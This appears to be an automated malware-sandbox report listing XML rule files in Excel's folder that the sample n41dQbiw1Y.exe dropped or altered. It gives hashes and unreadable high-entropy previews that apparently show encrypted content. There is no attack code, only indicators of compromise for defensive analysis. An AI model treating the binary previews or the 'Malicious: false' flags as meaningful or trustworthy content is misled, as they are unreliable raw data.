Preview:	<?xml..=<A@.[PzSu-.......J5..a/.n..I....F...J0Nb.uE...A...H..E...$.?.i.;.....T"..a..L.5Y...=..T......m..94.\..q..l.S..:A'.....5.f.D(........7.M...b.f.1.5.<(..h.9...X.W..g.3..!.j P....G.i.mYI...Z4..6E.nq...U.!>.v....[}8..K"..F...~.U.^TC.mF.7].?......nq.@..@"}...;~.W....1N..5..........v...}.i......5.....zQRx.....Up....k.....M..z...................~{.vk..4D...X.sj&.-.....w./...h.^d`..5W..O.p.n..2I.....2Q...4o.p.`v..j?...aER._0..{;.y.n.X..^.e.d.JD.....C.1.Tf0~p:L...>....tU3...1...A\...~OiN.yy...r.hx...p.v.Y.........u..,....6K. .S.sR....$.q'..,.;.+.. ....z.+..1....8V..S~E='..H..4...E.X.c....Sj.huvq9Om31...1!..p`.@Qi.>#.\|."=.C.w._.Aw/tF....^.A..x\|....8.t....^..atY......y....s.,lW....U.\u."...Kd.(..L.....s.Q.U...B....n!.....!?.G......>....6..&...L.......\|...F.TN...f;....t.....x.......=.......!R..<.p>....nqEW..@.....+.....~.)....%.x.3.J..v...'./..S...i....VG(.{+...t4.,.rp.....t..:V.9...S..J..p".l\|(.g.@.6ukb~........}.}........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240026v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7026
Entropy (8bit):	7.9765860710589935
Encrypted:	false
SSDEEP:	192:eJ8bty20X0zr5qivNcoHHP+TD85IjC/N7i2vec8aA3LFJQ:lb4rEzrtv28H+4Wu/NW2RHKJQ
MD5:	951FEF4895DDD48B3FD47B8602DCAF96
SHA1:	4786E745EE9BF9335306859E1EE85211A688ED39
SHA-256:	BFED096B7845FAA5BFA4E859741754409737B38A23431680909F2892FBC558A1
SHA-512:	4C6BC7421FA73D3016B0727D4837E0C92AEE1E4B4FE50F8522D5F1B56753439C60D9907EC4BE7B080DC71780C2A9EAA2E4D6BEC459A65EFA8CCE58A256F3DEF1
Malicious:	false
Preview:	<?xml..`.<d..O.F..C.4.I..:..`......\$.zCz....3......V.#....+...d<......>.\|2.....i....ua.#..~.d.".x......0.89L.{..T7._.>zz.z....s#;.!}....Qh.....o..f.Et.t.u..r.. 5.mR.....].kG....$..Ut. ..........&1..0.].....~Z.....a..axf.$e..'...........U&3@....4...=@S.&..7`...O.j.......h....Y.....d$...]........&g...V..B!...+.ZcNM.1..[....n..0.....r..yAd..U.7F..I.O.\.]....SX..{o...$.....#.K...#..;..m.k.....(...,.g..Gz..4Z.`.j...J.`....."....\|k.Q....$=..5.R.......Y.F.P)$.b..]LQz.../.....'........i{E.K.R.}..6\|r...5b.v.bl.t...B.SN.P.-z?.M.....$.U....Z.....N.......!...<.>...R..t....^9.o<....R^......N&.y9.8......j....n....A.2\..b.Y.m.....:..@...<J..0..y.A..l.wL...+.:.-..8...6>..6{ S..1.T....=C...[.Ha.'.....V.`..ef...y..../.5.\.b./..n....@.urA.zc2...y.......",.Rr.![.]....F.b.@..d<.h.km..2.7..n.>.....MU><\...X[..!..''.o..c9.._..1+...B ...O.<.J.... .Qdh..25c89...N..B...T.8....G..#..14.fr...}.S...R..i.:.....#k...%....y......g.G...:f./(bPn....;.O.....{....... .....a...}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240029v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.748696598303308
Encrypted:	false
SSDEEP:	12:xUrVMEB81MLKrhYhY+ukT3dIiiOOJRUM/NuAOiOImDX2kRa4xzqvgYcii9a:iVvUhF+v3d7qRUM/NuAN26kIxbD
MD5:	81A59524713667802C4E4265069F80F0
SHA1:	AB89C058E024C2F40CA1C87FA3CE3453E3957A19
SHA-256:	19B98E5E1FD81C8A4AB3CA9FA44C1718428F3C74A02ACD281F86E96AAB7C0D3A
SHA-512:	B206C963E85A50A60084FEEF3F5FCEB9CF99F648A031B11619E0BF617459BE64BD823CE42AF9A5E27CA5E395F8A6E09050248B8739AB1C802B84072641FE0A7F
Malicious:	false
Preview:	<?xml..^.._9.....[.F..k..s..!Y........[.x.Y.4......7.t.0E(&...Hf....pf.B.!.... ,........... ...f.X,.../5.:)...E.<...W.8[EQA...$..#..j.......: .R.\|......&..Q..TO.........C...W.=..W.........0s.............M.....b....#..*.C.Z\..\.'..&].e_...M....+..k\G..L.Y....,Dpm\9.J...Z.C.... ..\.e.....q....1.q.;/wr.vpn....X.~..U.wo$>U.j.G`...n.B...&.._.....A>.'......t..eX..4.....o69.x@....<.?....0$V.>..k.Z..,W..`U)..<..l..Jm.....T.....Q.=SI....fF..........w.n.50N...R..~...........E.......9..hw...H4.64...^2..i{.......ci....B.,+\|J._`6.&..{.>%=....pZ\..R$..J.S.k.......8..'..l5..K5r....i.j.kR.[.-..4I.Q...u..@.E'.>5...k.p..3m.W... ..lv$.4Y./.J<.'.v.W..1K.'.;'....._+.1r.Lb.6{.[^6.{fs..Y..y..........@.u...M.r..b.._.{...HY..mV..G.".z..~{S(..\.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240030v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.771781436645249
Encrypted:	false
SSDEEP:	24:445q1vbh5EPWnCpZMSFdVwCyJnK5837TL0SUxR+Enm8n108KxdabD:zY1v95Erp2CWBK+7TL0vA8197D
MD5:	4DFEFE57567F6F1150E0420DB15E964B
SHA1:	31B37A6088336D26228D6F4241C01546C8FF4BAF
SHA-256:	49E9BE7E8A50ECC488A60E56916AB95CAC22643C88DFFDB4F1D29AF446F31316
SHA-512:	6147B899FCBE996642BE1864EAE65C7E88B53816827C17CFD3C34902CBB67F25E89E3546BF0B260281B0B1CFFCCF8081B5ABFC1330B94EEB4B377768F1C07BCA
Malicious:	false
Preview:	<?xml...=.......Y.%%...9...E......3...w......e3......$M..l..q2..%..%.7.....~....<a...6B.X.V...."x..Y...a.l..q.v.V]..x......`F...W.... h^..5&r......,`.rX,..>\w..q...5r$o.(7.;..<.A2N.P..Lq..W...../hP....Sb..r..^O...r...1.5..^..y6aHuqv=.._....j{.'.............1;..vvw2.9...8z.\|W.).[A..."...E...K.h...d%..az\|..i..gf/.k..)...G...BG.?........F.'.i.........%J.rZ.U..1..........8D?..Z.0...y.(....bD...E..T-.k.....0:......R.._2..y$.=.tm.P).l.C.A.o...m...h......%/...H~......w..{...X.$[...Wv..@.c.RY....H.]UfN..(OS..{.,.5.....R5.tv.h.>..J.Q=..@.....Br.....H...vP...n^{..4e./nG.L>.]o..Z...b.y....^...k..N.$Y..[M.NP.u...".W..f....o...&..~j...H...)..v.2...vl..L..9...J.D.....F..r...{4...@..fA..).......sS.BP....1....V...r...x..K....Rz........e......v........3...6.v.o.+:.MJ..r...L...MK4..d...z....,......."#..K..2...citG.B......o0\mh.TGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240031v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.725471326418043
Encrypted:	false
SSDEEP:	12:ei9K83BzvWf8Ksh133M+Xrpo/rmuPRoTofW7TYejO/JY3szIz+Da5gSDzKYcii9a:eiEmBrWf8RrDrpKbPKeiYOgzRDDSnbD
MD5:	8A4E7A931F4F0566F3B77A4A15DC8297
SHA1:	7F782B97061EEB991A3701B33A76768E92B6BB8D
SHA-256:	D0677450D1C1715A1CDADF6CF7312473ABD30B0125E889F301F1BE6A07689A54
SHA-512:	4FAF420CDE379C6F956D26B0891929E22EC81583264152525F2A80A5667584ED460B0906488226D84DABCA4D2792D492463A164E725ABD4A63892BD5AABBEA29
Malicious:	false
Preview:	<?xml..G.....31...i..{..p;G.#K.h......0.(#.EooT.....x......p.{-....8$...u..iU.y.B...\|.+...RB..+..a..E=...0...j.......,x..N..x....S...V..gD..).y.....O....]R...Qf.],{.R.:n^...W~V7..w..4;@.7:}d:.Y/..L.{.......O..'.U...)?+....9;..X.........; 1\r..j......GU.....-.an..T&x.[BKz...4ji..,.Gr?.O<@.......\..x.p6.j3.......!./bJ.M.]..\.%8....\|.p...LlS.".........-.{,.N.Iv.!.&......[..3w...q.H...4x...x.+._N...3..{.Q..4.#6."g..7-<Wbk.`"...l.a......\1.....)....(/d~....Iy.....h.:.L.........'...sV...d#...J..%.Xb+I.XU..+o.A.=.H{0E.N.P.....e....0..H.j.....6....W...5._a.......#b..4.f.<....p1..r...9....^..n.H}........!",\....hC.....0.....:X...6...Qj...x_..\|^.P.7i.....`[..FA[.ja!@.L.W>...\|..'..^.tm....Vt... ...gX.9...x.....k..H..N....N.*.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240032v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.813985466734332
Encrypted:	false
SSDEEP:	24:BOU2cNWX/6pxN/A4diAwc/Wwl5wb5x9+aSRCLCex9ahlGr1bD:8U2coXCnNLYAw0W+5wz7r0lGpD
MD5:	224FF1F9EB943FF5C6DD6445841A2E5E
SHA1:	50D0C91261ECDF5850DCE43DA6428008B1C915A8
SHA-256:	A96DA38CF154D2B558CB2C7EA0D151A7A7EC6AF75D30F2D263618F22D87246B3
SHA-512:	37ADAB1AC104976AA57889AC9481E4A16BD871E028EE72C572D14060B0AA79FE34EEBFDCCED10CB5F46B07A9BC089994535753B54713C2FD9641D5237EDACDA8
Malicious:	false
Preview:	<?xml\|.K?....w.Rg...t....J.Le>X\U:<.C.Y`....-@..`T..E.0...........4...p...b[.N.....bx[..7;Sk.NO.)...@....m.....q.nl2.Unp}I..x...$.......R.8..<...Z...V.$.Q.;.o:...c#/...,. ....t._.y....d..e.......q.....Hw.]0Y.......zD..V......bf...t.@...}.n.....a...t.2..].&L..0...F..h.u.........f....x,.7.7.Jhb.Y.....{O..I?....Q\|.yV.7..hF{.t.m...)..rq...=.1....?...7`.o..[<...........U...e..mY.D[..a...}bTp.K)....u.oCx9...307....O..W..s..K.=..a..A....D.....}..Ty..Hk\.Sa......t..H%P(0rE.s.)...-7A...).\|B85X.`....h}.p.....\...s..m...&f......t...;CFbH..Q.ljJYp.5~.'...q....)@..FCeC.n\|.f>q..[...BoH:....v.+.b:.....PDjWI..v+p..5..X^...l...-..P...P..}7X....].Q.,.]...u..=.......[gm.X@.P...MQ..[.#.x...:1.U....A..3Z.....f..""%.er.J.Uq.x..y.\H.cY......Q..2$.p.F$_....5y..c....&...s..+#.d42.#..w.{..l....I...X.=..)...=."B...o...:...."...AR!..D@.x..$..6x{.P3.j.d.......u[..s.N.N....6.U...-.YLX`.Wnm.m..y&G.$Q..)..c~.,c.}B....0.......~.]H....#Q.F~.........sa.~...K.p.{.d.Msg..~.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240033v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1366
Entropy (8bit):	7.844065821485703
Encrypted:	false
SSDEEP:	24:RKBAmbDqeCA7jtlEtEZ+tsCovC4BXruvW9L7jsYBiC6Nmc+C3qS1GT7p9A7OHVfP:EBvDNTpM6FvPXK+9L7jsVNmNu1ATQ7Od
MD5:	32AD2B5806A8C413E0F24FB208D3B720
SHA1:	3774982A78B9164CF0DA1A3E6F3A42C277597F6B
SHA-256:	64ABAFB66CAAB05521879D64A4478A587E0F6F4FB1597B7286E4521CB1DB46D8
SHA-512:	CA7FAA3BF342427405ADB2F041F4226B4E9E7C14AB9F16B8498BABDE6A7D13E21914F92F25284DE96671CD0C155B3B9B326237F1F00994AEDF48873BD547AF29
Malicious:	false
Preview:	<?xml.I...6...d..P.I....:2....H..E...xJ.;JA..b.%a(.JO...MX.....-.......H.. $X..Z:..[a.drV..C...NH......4......s^{.......CU..TDLN.O.....wf.%..S.i..P6./...).if.F..mnB(..p ..r.l@......O.P.{..e..D..>.~..............8..W%...H.J...S.....1..J.\.&p.V.^.H....Y.u\.i.C...^.DP_.y?>...].{4.....).........h."PXy8...f.&.T.&'z...S.t<g.Z.N.Du....{.N.....^..(.}.o......>..2...+q.".&z...\...T....o.../y.j....8..pbd...@5~5.k...5f.v..h...s.7NN.Y..}9.5.gv.E...S]..Y..S.....h.".j.n..7$2j.DQ..Gg5.S.S....?.....U...3h..-/.~.B...4.M...x.j`.p.G'....y..Q..M'.E.m>.tF....sd#...F.H...#...Fd[...`....Y.......<......%......B......Z.%.$M`P]...J...Y"...^<.[.......,s.\|.ab.Wd....:$.9~4.....HdJ....=...z.I.....t..sL-...U..1......Z.#.be....<..@@.Y..O"k..@.X.....n."...<..5....I....5.r..3h)&...LvfZ.[.y.../....#..=....^....b.J./D...f..v...p%}..K.b.Z.l..]..i...x..?...7t....F....).d..4.b.E.%.<....Q4..m.~.d..v.....2}(Q.q..$Q.Nu...+...HtHd........D..<~......;@+/..g...d\|..A.,uf2.2..X~[.....e.I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240034v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.696189822768583
Encrypted:	false
SSDEEP:	12:aRQdz5tv/8aj548PrNPI76RAIeHMa2A8j+jhesw9g9w7im66KYcii9a:MQntvHj/89j6GCvbD
MD5:	60DF8B1B1B9A9DC400D12A4E85A9C823
SHA1:	5358D971B5446A8D0B79295860EFF58DDE684EFA
SHA-256:	837EA4DA631809AA07778544E63E4AA6E1C336BAF819BC408BBC3C78480CC338
SHA-512:	D6DE7653C7B2082529AA72562979F48B32E973B96C8C92D0E7EC1A489BAF20C2CC51C457FD83372632FFE48C1FC7DCF4A2EB553161989AE50EC5FA9CDE58CDB0
Malicious:	false
Preview:	<?xmlj....e"_..A.B5.}..X.Tzj..4.\|....j.....t/~q[A=SU...$.....8.G..J...9$...8..{........OR..MQ.{(....v..}..X., ..c0.@&c+<l.ilL.Op...V.ba..$...C-X/......R.!L...W...(......PWC.........].8W.RcY.....b..y..F.}....R...6.R?tq./.M.P.y...I[.5..SG.:wZ.PH>..'.#.O...2."...W..}s.5..nuk.`........^......>...n;.[.a.(..g...`..\.$..[3..B....[....r.8w%.BMw...s.G.....>...N..,.D5q.8\|...E.s.....w.2....}....PG$....(.........[Q\.._..QYpT.FJ{....f....n(.d.....3...O./.\.4P.....X$...^8....~<zF.^T..&...; \.1..........T...,}...zI..X. .#D.'.H.X...E....xfM..R...>....H2.}....;...."J5.D..S..=.`.6...K.../L.!...%.f..c.q4...Qr........ =B..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240038v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.783205151267203
Encrypted:	false
SSDEEP:	24:F9+UpFGGzBMgjQ27Z+gIL/tJ4m2YmnTnaRRo4SebE9bD:F1pFG0BB5ZDIL///sEi458D
MD5:	DC187FF0E02259A01D7F6FF8319FDF46
SHA1:	52F529309DBE0C65173646AC7A7F307E8EAA26EB
SHA-256:	A7DE03F230B9C2105917027F39CFDCF9EDE11A37C2C6CE4A423AD315F9196EF5
SHA-512:	120769C05217A6D5443FAE65128F1C48D611A396A4C7E46CFEA1B37CF34AC90FBD9F923179E231B2ABCBE8105F1BD6221CF8451CA57410878C36BDD1D9734D7A
Malicious:	false
Preview:	<?xml..d..}).......q..7.3'..DI..N..1..w."\|#.WE.8.DT5.&.....d./...k.S.Ut.)PZ....G.k4.e...A.)....Uz,..{...4.......i.!.r.h..lHE..Z._...5)Na..3..or..s.>!.#...qE..y....\|QJ..s.I.xCH....}.Y....O....z...7+D...6...6s".m.M_f..U........$........."M.q...3.......9~..."..Ws...E......x...pm.f...@wJ..Z.x.+..._$.Jm1.6..!6..P...../..].#5..#+O.X......?5..[-u..o....9p.}z....n.`)-J.....o..zO-...T...I._.....E..g!...{.(.)}...B.o;.w..6..76..Z....x.....x...........[.G{..f3..x5..6....j.4........;..\|.s....J......Z.nrZ.pcR\|.....WV......)<....x8.x.=q......CB.F...8...4.G8.:....<._qx....h"r:h.-....F.a..H..>ZBH..r............K!{..z.;..;Mx.`d\|d.R...D..8,k..~x..Vi...R.2.$tx/W..?.a...W.c.d........}...!..o.^.6/.b..3e...:.5....I^a ..bH...`. "{j.s9....!.}n......OnG.1S....(.d...A...S.}....Y....)....`y."...B...l.........yl...........Y..a........eu...~bR}...d...+..kSf.LIf!.1~*...s.8.1.6r....5^....e.x..H.i..+`..$.....14..-.k....9..u.uu......>..E.M0.M.....~s..U..z&.,.D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240039v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.81393808922489
Encrypted:	false
SSDEEP:	24:mYpYCw5xF8fcbh4O3YCp7hJLxAt3sqR1vkVbD:mYi1mfMWcHJFYcD
MD5:	A1C30492BE74E97859B753E015C1562E
SHA1:	48932B93446B0233D5DBB676C6A22DAC1E8026DA
SHA-256:	07044EABB5974CB516A4A80628DC7FFBE4F73FBABD3725AFD648A7A9EF79F5AA
SHA-512:	CF12AC42D39D6CE97082EB8740698237DEC1BF546427047D4A5C4BCD447102AA754952188564BF036537D85313D94349DB3483F11D571E0A7416B0027F3D2BEB
Malicious:	false
Preview:	<?xmlN CL<P.Z.?..)..?..'.uE..g...W..Z.2@..6.{.#.y.d...W}(J.y..........\.....O..e...RW.PBtQ .W.7vH......J..O.-L(z..G.#.d..z=.2"..P..J...>.......Y}.sSk.8.H=...B...'......J........L...5.K.X....)..s..T..Q._+......J8...U....u.F...,.1Z.[.5.....tQ..w..Z.P%....o..az.R...%>X...I= .f....z...:.T2.^s .[.?.y^..Y...n.s6 f...'y...k....)..^..(.,.#.++...qb....C0e.-[.=....C.S..n.._]..............B..Az.[...n<.Z.+.i..I.}.^K...e....0.W1A.]+....,O\.....;.6M..'8,..^W..X...~...wP....(..B..r..m.X\|...$....0.E..u..(.<....L>n..:v.$.\..s...H.....].$..ri..pf....... .R...M.....m........n.\#&J.P.z.A..r..g..-....v.....}.J.......&./Hg.m.=.....c7.Mt..t.[.e\|.$Ch..c..;.!s~..]WI-....66.....TM..[.....P..'E..bB....8...r..;&(f..j.4..K~.k..w..e........ZK.....h.=.....U..\.Mf.[S9.0..Q....:....H..`L.c.c..7.;..,.^.3P`;.e.EG..Y.....63....U....U.f....].........>....;..a.eA..l.xU..(T.....D2%.....i..x..P.$....yGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	7.957007973691317
Encrypted:	false
SSDEEP:	96:i/SUOOG6Iiy6EYBNHZx7pSdHsyGcdOfZ4i6n0pbqrUYFTb:i/pOOGIPBNHN8Hh8BrE09qrU6b
MD5:	0BC6171C7708C93C9CAE038D7D9522C9
SHA1:	8C0E6C73F1270E787EF7F6F58C347146468ABC1A
SHA-256:	CF4CF54163445F876E2B3AC5C80B91EC1EFD0100DFDE239ABD18E766A56C251F
SHA-512:	2A8D55F3EE95D86091A8463EA249D31B1FA3C20EE4F619B64B955F290E1AC3D174882CC715DD532B9E05E5EFAEDBA3C5CC8CEC5BA814DCFA805F9CC32B2C7079
Malicious:	false
Preview:	<?xml.M...m....fC....I.-2.f]w=!.]C.\|`.....x..T.h..;...O..R..Vt..e.5.{m.s.N......CX.A./..t.5".gc..L..w..S..MJ_......0X.K..fx.l?.m.d....X. ..2.......+<lU...g..1...>.,Pg..R.s4....O:.{...h.0.~....>..g..g...0/.Z{`s...=bl2....f.."Q.DG.t..o.........v.......IE.E6E.-B9.1....m}..t.........A..7...V.d.I{_.=.:....K.D.;TaLi\..=.r....x..~.....^..R.....HT..............].z..rl..g.\|...{..\..Ph2.z.=..6T.e...n.._:.%.".... .@..L"..LK..F..u....d....Q..A5...L.E"....D.<d....AXfK..7.o...."...z6-.$..@x......k..0...S.vD...Z..'.k....\.....:..n.6...q.......scS`Q....I...Q.y~.\...e.5...x../...9.[..c...=I...........m].....j.d.z......@.......(.J5.4..a(/.~.Ep "y.S...y...8.....+.~.nY...r.y...Ng....z..<J:r..R....9Qy.&.....$.S.$ZO....BDU.F.V....oF..@....;f,..jP}....)....@...I3.D.c(.,....uq.Dce:..6/.>......B#S(.>-.3b...;.v...HV.F5h.!.7.wL..3A...<.cJ.{^d..&C\6.9...~...<..62..6....{.<.{...v...}..h...nJ....R.b..EXK...Mz.g..[...i.>.6.T.X.....[&>bE.......O.>...&...*-..i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2306
Entropy (8bit):	7.912220597301249
Encrypted:	false
SSDEEP:	48:HkJwM5rOL3G4eVOR9maLVn648dljTCPaL/pZ4m/0fyOy3zD:EWAyL3re8TH848dljvJ/0y3f
MD5:	5D40639E760A76A79C8FEC02BCBBB9A8
SHA1:	8C51C35B16628DA674754F9806D121644A2B6D8B
SHA-256:	F6057455F78C5F42671F860174B7B62B44C05F6FDE0904D7AFE5816EC5BA0219
SHA-512:	D3ED4389565BCF86B0732015C6C19E905B9AEA4499E23CAD7155F6C1012CF35365EA0475F650C118132AEAF45434187FB4E77411C175B17C7D8CEC1419A2FC99
Malicious:	false
Preview:	<?xml.B 5....^.....Qzl.y..P\%H...a...Mf...I@.....E.@......,;.)/c.Jp.`.r.......q.w.f..F=H..&.X.m.w.Ao.K..R...../8.-..J'..n.=.Y;b~..[......vf..X..........o;..(]..V..I....4...%B<o.....xPY.N.U....U,aQSOY.8.d.....-......;o.i.i<[.W.DK..L....u.G.Y.?8......l..O.2......G.A:.{.....O ...........t..V..........S..p.~.4.<o-L ..{....T.. .RE.>.}.N .xl8..S.,C>.0...3.....]....k.\}..[..].{........8........)!..KQ....-..e..........H..TZv.....`...v{....;T.........:...'..: ..f.}...p.)H\|.ra.T..-..OQK..Z.........(WX8Y.....g..`....i...A....0j.H.G..f...#.,D..-m.">.@,`sB..6.gzGD+4u.U..Dk.y...K.d...rAX.e.e.L.QC.(....!:...;:c...g.7F}......~Y.IEW..G....C.7......9 ..8.......s..4..c....6....<..U.......l.P.."&!....;...........o6........LVC..E..G.....0F.[f#7..]!......0..<.6.:Q.=_.6IL.?+..~Y.....*r...Y..<2V\|i..`.j.......f...M..@...i..Z]{A.gk%..L.h..$W(.o....OFq6...M..E.b.......R.y.UQ.....]S<.a.....6@o..V..8$..v:.....v]...a........}..O....=2.N...]/.7.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241002v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	7.922314955328897
Encrypted:	false
SSDEEP:	48:rKKPUKuNT8YKcf0YIzkIZ7B52xpFmKQS5HqOWhStFW/r0hfNL/D:WKBuBf1It7B52xp6S5KOW8tFEQhl/
MD5:	3FB680652A1AEB4154A8E0A9FF9D79EB
SHA1:	D7757081813E247B4066E06E90457B5D3E6CEFA5
SHA-256:	1C8E341C3709282714EB5C292EEDC07A41C00612E0CE60B538157E6BC7079BB4
SHA-512:	B1A1999CA04CD32228CA44D9D92E438EF54FDEEBCB5E1BD444CC350A84A96B3500FAA35B8CACD31DE382EFA873CB622588CDDD4D5AD25182E951424A38C2F96F
Malicious:	false
Preview:	<?xml7B.H.b.......G.3E....~..U...ZN..a.......Z..J.h.g...RN.v....v...;_.A3...y.XJ..L...A...........F.i.........=..z..tH...].....9..5......a@N/....5.OO\|.Q'BP.1G.t.b1T.ku...r.MH..j?.`atC...%Mg.mu..9..O..........9v=.-....<\VU..7..^.......kld..U$8[./......rM.p..Y....D.,Jt9.......n...d..].....2au.....zQ..W../0T.4.];.W.=U..g^s...K..zF.2..G..eJ}.D}.d.af7..M..BF...j..T....J....D.N..G.a....U7j..t...q\.+.z...%....R..J.3..D.....B`Aypa"......i.jq_v....i.R.....I-0.`b;.......F..:...B...ob..K..A..bk.o..,PU...)......6.(S....M..pjO....+....}...)..M...._.......{.Z.m@y{....Fi0.v...5..j...j48..H...~$..."............./..Y.RJd.\|pX.....K..Z.F.%b.D...l[T...I.^{.........wY..'...m.5.V....W:p^....A.I.L.....JM.R.z...p., S.7.2o>..8u....&tJ..yj..\|..%).s....}.q..z.........".FpYbbCn}...P...!;Mb..K#..a....~..DG\|._x..s.........tmg....r:.5~B...uvK......J.?.@IS.K.i.21....e\|..RC].;A.......*.)C,w9...3.vb........T.........]....Sa6.$.G]..K..q...Nb..v..'.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	7.756149888246013
Encrypted:	false
SSDEEP:	24:3Ux7ROTrVgX3cp+AsAs0q2aht/c+nbWPJWPWjXNbD:3YRurVVp+As0qLhNcnJW0XtD
MD5:	4D7BAE71C2E79DDA75741C6BAEB6E5C2
SHA1:	58B480DA32292FC78A55A9ED72D1347996F7CE67
SHA-256:	4F46478BAC61D1E80952D851FE4D6ECDD67B439E86FDA440ADF15E8C2A5771ED
SHA-512:	C314563392396D35466001CFB1D1514CDEFD53D3C37E0144695E4E67A7E472BF5614B511E7CF8654FFB444331762A1CE616F1FD6D90A1F8479E9015B8EC52D94
Malicious:	false
Preview:	<?xml.<"...R.......y...B.-...N.Af).~....+'.txh.......`.x.8....'........i ...4.l.....L\j...;.\|.\@.._.b8..ga.......qD"I..f\.z..4t....z.a.Y.a..FJ.L..Z?..7..\|EW....;h9..tH.Wf...O....bA..ef..{..a..K.o.t(HDy.o..6dE$.`.tcg...\....N.Fgd;.2.c+."P$:.'..nRPA&.\..e.dB.$....f....R.........W.-.s...Z.j...q...M...d.cL.S..UE.\.gK...e.....D.G...f.U..ul.J._.{.!..I.....X....<\|.....;v}.........sk{.....N..E.2..`b.S../R.......Z>.(.myTr.q9;...0D..u.......c2h....c...`$Z..;...'M.I........W.A)..X=."..$(..WCBu..?.4a,.V...oL.....~.">.L...q,g{...9.[@.Y....../Qo...i.V...W.......k.Qi.iw....H3.5.K.4..j.F..R.t.i...T.`.Y.....B.O&p;...d:#...$.R....<.hj....T.K.u.$.{.f...V...T.?.p< q.y"..H..EB.X.q>..@..-..@5......:\|9\e..P-V..2s..G...x.....(.n..l...1L....h.;..._.>.........$....B.l..a4.Df)LYy.P.#..H.....t.....u..WA..!'..%...g..].H9.V...x..'nr...S5......5..EN(`.....\.'9..~7@....3...}./F...8.V.1.?7:q8..&4$P...#V...C...Fo.A.. ....(!.......6GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.761070875535579
Encrypted:	false
SSDEEP:	24:FzyzY34CmOX7MHfZWamD0NRQl0L0nEEwRGSnEjUbD:ReYIYgHfZK+PEVcESD
MD5:	813DDFFC055BAB6103B9DFD2B143D3D8
SHA1:	7AE5A5737BADE6027F8EEA42ECBA6A2544ED2A4F
SHA-256:	172F12885BB48D7B68A202D0603DB1A12DE4804C0CFC2CC2A3D8D4BAB2CC01AC
SHA-512:	001E7A2C3A9A530DE9621476346C55A112D20364C64CA0D374062753CF09E4AED3BF353107F11E4E871716C1B92952C716AECBAAB0CF1547931A3DCB9F501B16
Malicious:	false
